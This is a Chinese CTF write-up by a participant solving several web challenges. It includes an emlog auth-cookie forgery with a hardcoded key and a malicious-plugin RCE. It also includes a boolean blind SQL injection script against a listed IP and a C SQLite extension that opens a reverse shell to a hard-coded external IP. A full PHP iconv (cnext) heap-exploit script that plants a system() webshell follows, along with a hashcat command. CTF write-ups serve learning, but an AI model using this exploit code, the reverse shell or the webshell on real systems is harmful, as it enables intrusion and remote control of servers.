战果

只能说还行吧,毕竟刚开始打……

要是会了Python原型链污染和Java反序列化……(

冰雪峡谷

签到题,甚至还有现场教学

结合题目描述肯定是有个WAF了,应该就是需要绕过

审计前端代码,发现博客文章提供的Hint:

打开文章,得知文章大意是说明部分特殊字符(\x09, \xa0, \x0c)会被Nginx解析,但不会被NodeJS解析,可以利用这个特性绕过Nginx路由的限制:

分析后端所有代码,发现flag的静态文件:

然后NodeJS设置的是整个public静态目录,是可以直接访问flag文件的

于是构造Exp,即可获得flag:

迷雾森林

(挂个人)

(其实也有点不同,但是Exp改改居然能用)

(参考文献:https://eddiemurphy89.github.io/2025/02/09/VNCTF2025-WEB/

根据题目意思,解题分两部分:信息搜集和RCE利用

信息搜集

扫描目录,发现存在git泄露:

使用githack利用工具:

即可得到源码:

RCE利用

审计后端源码,发现后端是emlog的CMS

其实原版0day是伪随机,但是这里简化了

参考原版WP,写出绕过限制的Exp脚本,伪造cookies,写出永真式绕过登录限制:

<?php
function generateAuthCookie($user_login, $expiration)
{
    $key = emHash($user_login . '|' . $expiration);
    $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);

    return $user_login . '|' . $expiration . '|' . $hash;
}

function emHash($data)
{
    return hash_hmac('md5', $data, "pL7fDdNIuK*XSWu60Ia8dhL06ZY1qBk)3fa31b52dd6ebc517e5492d43d77e61c");
}
var_dump(generateAuthCookie("' or 1=1#", 0));

即可得到后台

然后进入“插件”,用emlog的陈年老RCE漏洞利用(参考https://github.com/yangliukk/emlog/blob/main/Plugin%20exploit.zip),上传一个恶意插件(具体过程参考https://github.com/yangliukk/emlog/blob/main/Plugin-getshell.md),即可在content/plugins/shell/shell.php获取phpinfo:

在phpinfo中就可以获取处在环境变量的flag:

Image Hub

这类题第一次做,也算是积累了吧。

首先审计网站后端dotnet源码,发现SQL注入点:

由于是在ORDER BY的后面,考虑SQL布尔盲注,直接上Exp:

import requests
import json

url = 'http://125.220.147.47:49373/api/list'
flag = ''
#这里改变测试字符集,MD5爆破只需要下面的字符集就够,用户名需要全字符集
charset = "ABCDEF0123456789"

for i in range(1,500):
    low = 0
    high = len(charset)-1
    while(low<high):
        #这里改变盲注的参数
        payload = "CASE WHEN (SELECT substr(Password,{0},1) FROM Users LIMIT 1)='{1}' THEN id ELSE name END".format(i,charset[low])
        datas = {
            "page": 1,
            "sort": payload,
            "order": "",
            "rules": "",
            "limit": "50"
            }
        res = requests.post(url=url,json=datas)
        #print(charset[low])
        #print(json.loads(res.content.decode())['images'][0])
        if json.loads(res.content.decode())['images'][0]['id']==1:
            #print(charset[low],end=' ')
            break
        else:
            low = low+1
    flag = flag+charset[low]
    print(flag)

得到用户名(admin),以及密码的MD5(这个值会动态改变,重启容器之后就丢了,因为这个耽误了好长的时间淦)

然后结合题目提示,以及源码中硬编码的key(salt),使用Hashcat进行爆破,即可拿到密码登录后台:

hashcat  -a 3 -m 0 66A75A35A9898D95FF030D5DCAF1E582 ?1?1?1?1?1?1?1w1ll_siesta_b3come_a_j0ker??  --custom-charset1=?l?u?d

(由于鄙人电脑没有GPU加速爆破,写WP的时候就不爆破了,登录后台之后的过程也就不完全复现了)

拿到密码之后就可以进入后台,然后发现可以进行文件上传。

接下来参考这篇文章:https://cloud.tencent.com/developer/article/2288065

构造用于反弹Shell的恶意文件

源代码:

/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
#include <stdlib.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = 6666;
char *ip = "110.42.96.9";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);

  int fd;
  if ( fork() <= 0){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(tcp_port);
    addr.sin_addr.s_addr = inet_addr(ip);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
            exit(0);
    }

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/bash", 0LL, 0LL);
}

  return rc;
}

编译:

gcc -g -fPIC -shared shell.c -o shell.so

后缀改成jpg之后在前端上传恶意图片,然后再用前面的注入点触发自定义的sqllite插件:

即可反弹shell,然后就可以通过反弹的shell获取flag。

熔烬裂谷

SSRF,但是非预期(甚至以为这个是fake flag):

赛后交流得知预期是标准的cnext漏洞利用,但是好像翻了点小车(

熔烬裂谷-revenge

这题真的套娃……而且因为一些原因尝试了很多遍……

说实话这道题真有点渗透测试内味了(

顺带纪念一下第一次拿到唯一解:

接下来是WP正文,写的时候感觉思路链稍微有点长,不过好在除了给了提示的目录那块都还比较清晰

首先,还是普通SSRF,尝试下可以发现本地回环地址80端口有另外一个HTTP服务:

然后,审计前端代码,根据提示找到dawn.php

进去试试看:

发现泄露了网站绝对路径(后面挂马可以用)

然后根据给的提示,可以推测出提示在picture/dawn.txt中,直接访问(这里抓了包来获取):

发现源码

<?php
//reousrce code is in dawn.txt
if (!isset($_POST['url_image'])) {
    // 获取图片内容
    $imageUrl = 'http://i.postimg.cc/CL9rHhBL/60933562efee5a81ddce9b14f055c8b7.jpg';
    $imageData = file_get_contents($imageUrl);

    if ($imageData === false) {
        die('无法加载图片,请检查 URL 是否正确。');
    }
    // 将图片内容转换为 base64 编码
    $base64Image = base64_encode($imageData);
    //存入图库
    file_put_contents('./picture/image.jpg', $imageData);
?>

    <!DOCTYPE html>
    <html lang="zh-CN">

    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Your image</title>
        <style>
            body {
                font-family: Arial, sans-serif;
                text-align: center;
                padding: 50px;
            }

            img {
                max-width: 100%;
                height: auto;
                border-radius: 10px;
                box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            }
        </style>
    </head>

    <body>
        <h1>Your image</h1>
        <img src="data:image/jpeg;base64,<?php echo $base64Image; ?>" alt="动态图片">
    </body>

    </html>
<?php
} else if (isset($_POST['url_image'])) {
    echo file_get_contents($file);
}
?>
<script>
    alert("The image has been saved in the gallery")
</script>

审计源码,发现dawn.php接收一个post参数,但我们只能传一个get参数,随后便考虑使用Gopher伪协议(因为外层环境似乎只有Gopher和Http没有被过滤)去打内网的POST

同时看到了file_get_contents,考虑cnext的洞(https://github.com/kezibei/php-filter-iconv/tree/main)。

随后利用思路就可以确定了:Gopher伪协议构造POST请求,file_get_contents触发cnext漏洞实现RCE

但由于题目RCE无回显,而且不出网,考虑挂个一句话木马

接下来是实操:

1. Gopher构造POST请求

from urllib import parse

#php://filter/convert.base64-encode/resource=/proc/self/maps
#注意后面一定要有回车,回车结尾表示http请求结束
s1 = input('exp')
test =\
f"""POST /dawn.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(s1)+10}

url_image={s1}

"""  
print(test)
tmp = parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
result = parse.quote(result)
print(result)

2. 获取/proc/self/maps:

3. 读maps,构造exp获取libc:

4. 构造恶意请求(cmd部分是执行的RCE指令,经测试发现只有dawn.php可以通过写入的方式利用,于是便写了一个一句话木马)

#<?php
#$file = $_REQUEST['file']; 
#$data = file_get_contents($file);
#echo $data;

from dataclasses import dataclass
from pwn import *
import zlib
import os
import binascii

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self):
        return self.stop - self.start

def print_hex(data):
    hex_string = binascii.hexlify(data).decode()
    print(hex_string)

def chunked_chunk(data: bytes, size: int = None) -> bytes:
    """Constructs a chunked representation of the given chunk. If size is given, the
    chunked representation has size `size`.
    For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
    """
    # The caller does not care about the size: let's just add 8, which is more than
    # enough
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

def compressed_bucket(data: bytes) -> bytes:
    """Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
    return chunked_chunk(data, 0x8000)

def compress(data) -> bytes:
    """Returns data suitable for `zlib.inflate`.
    """
    # Remove 2-byte header and 4-byte checksum
    return zlib.compress(data, 9)[2:-4]


def ptr_bucket(*ptrs, size=None) -> bytes:
    """Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

def qpe(data: bytes) -> bytes:
    """Emulates quoted-printable-encode.
    """
    return "".join(f"={x:02x}" for x in data).upper().encode()

def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.b64encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload


def _get_region(regions, *names):
    """Returns the first region whose name matches one of the given names."""
    for region in regions:
        if any(name in region.path for name in names):
            break
    else:
        failure("Unable to locate region")
    return region


def find_main_heap(regions):
    # Any anonymous RW region with a size superior to the base heap size is a
    # candidate. The heap is at the bottom of the region.
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE-1) == 0
        and region.path == ""
    ]

    if not heaps:
        failure("Unable to find PHP's main heap in memory")

    first = heaps[0]

    if len(heaps) > 1:
        heaps = ", ".join(map(hex, heaps))
        print("Potential heaps: "+heaps+" (using first)")
    else:
        print("[*]Using "+hex(first)+" as heap")

    return first


def get_regions(maps_path):
    """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
    f = open('maps','rb')
    maps = f.read().decode()
    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in maps.split("\n"):
        #print(region)
        match = PATTERN.match(region)
        if match :
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4)
            if "/" in path or "[" in path:
                path = path.rsplit(" ", 1)[-1]
            else:
                path = ""
            current = Region(start, stop, permissions, path)
            regions.append(current)
        else:
            print("[*]Unable to parse memory mappings")

    print("[*]Got "+ str(len(regions)) + " memory regions")
    return regions




def get_symbols_and_addresses(regions):

    # PHP's heap
    heap = find_main_heap(regions)

    # Libc
    libc_info = _get_region(regions, "libc-", "libc.so")

    return heap, libc_info


def build_exploit_path(libc, heap, sleep, padding, cmd):
    LIBC = libc
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
    ADDR_HEAP = heap
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    # This chunk will eventually overwrite mm_heap->free_slot
    # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
    step4_pwn = ptr_bucket(
        0x200000,
        0,
        # free_slot
        0,
        0,
        ADDR_CUSTOM_HEAP,  # 0x18
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        ADDR_HEAP,  # 0x140
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=CS,
    )

    step4_custom_heap = ptr_bucket(
        ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    COMMAND = cmd
    COMMAND = f"kill -9 $PPID; {COMMAND}"
    if sleep:
        COMMAND = f"sleep {sleep}; {COMMAND}"
    COMMAND = COMMAND.encode() + b"\x00"

    assert (
        len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
    pages = (
        step4 * 3
        + step4_pwn
        + step4_custom_heap
        + step4_use_custom_heap
        + step3_overflow
        + pad * padding
        + step1 * 3
        + step2_write_ptr
        + step2 * 2
    )
    
    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"


    filters = [
        # Create buckets
        "zlib.inflate",
        "zlib.inflate",
        
        # Step 0: Setup heap
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 1: Reverse FL order
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 2: Put fake pointer and make FL order back to normal
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 3: Trigger overflow
        "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
        
        # Step 4: Allocate at arbitrary address and change zend_mm_heap
        "convert.quoted-printable-decode",
        "convert.iconv.latin1.latin1",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"
    path = path.replace("+", "%2b")
    return path


maps_path = './maps'
cmd = 'echo \'<? @system($_GET["cc"]); ?>\' > /var/www/html/dawn.php'
sleep_time = 1
padding = 20

if not os.path.exists(maps_path):
    exit("[-]no maps file")

regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)

libc_path = libc_info.path
print("[*]download: "+libc_path)

libc_path = './libc'
if not os.path.exists(libc_path):
    exit("[-]no libc file")

libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start

payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)

print("[*]payload:")
print(payload)

5. 再利用一次Gopher,触发RCE

6. 前端利用一句话木马进行带回显RCE,即可获取flag

龙之试炼

其实最后考的点还挺简单的

后来因为避免爆0变成白盒了,确实会方便很多(毕竟不用“渗透”了)

首先审计源码,发现WAF过滤了引号等一些特殊符号,但是没有过滤美元符号和大括号,而且是直接写入成了一个php文件,可以考虑使用PHP语言特性来实现一个类似SSTI的攻击

然后痛快地写入我们的危险指令

(趣事:之前一直在尝试别的指令,直到不断查资料以及问AI试到passthru,在本地测试的时候被火绒拦截了,然后我就知道确实写对了)

最后就可以愉快地进行RCE了:

给出关键附件后考点确实挺单一,也难怪没提示了(

屠龙篇章通关!!!

个性签名是啥,好吃吗?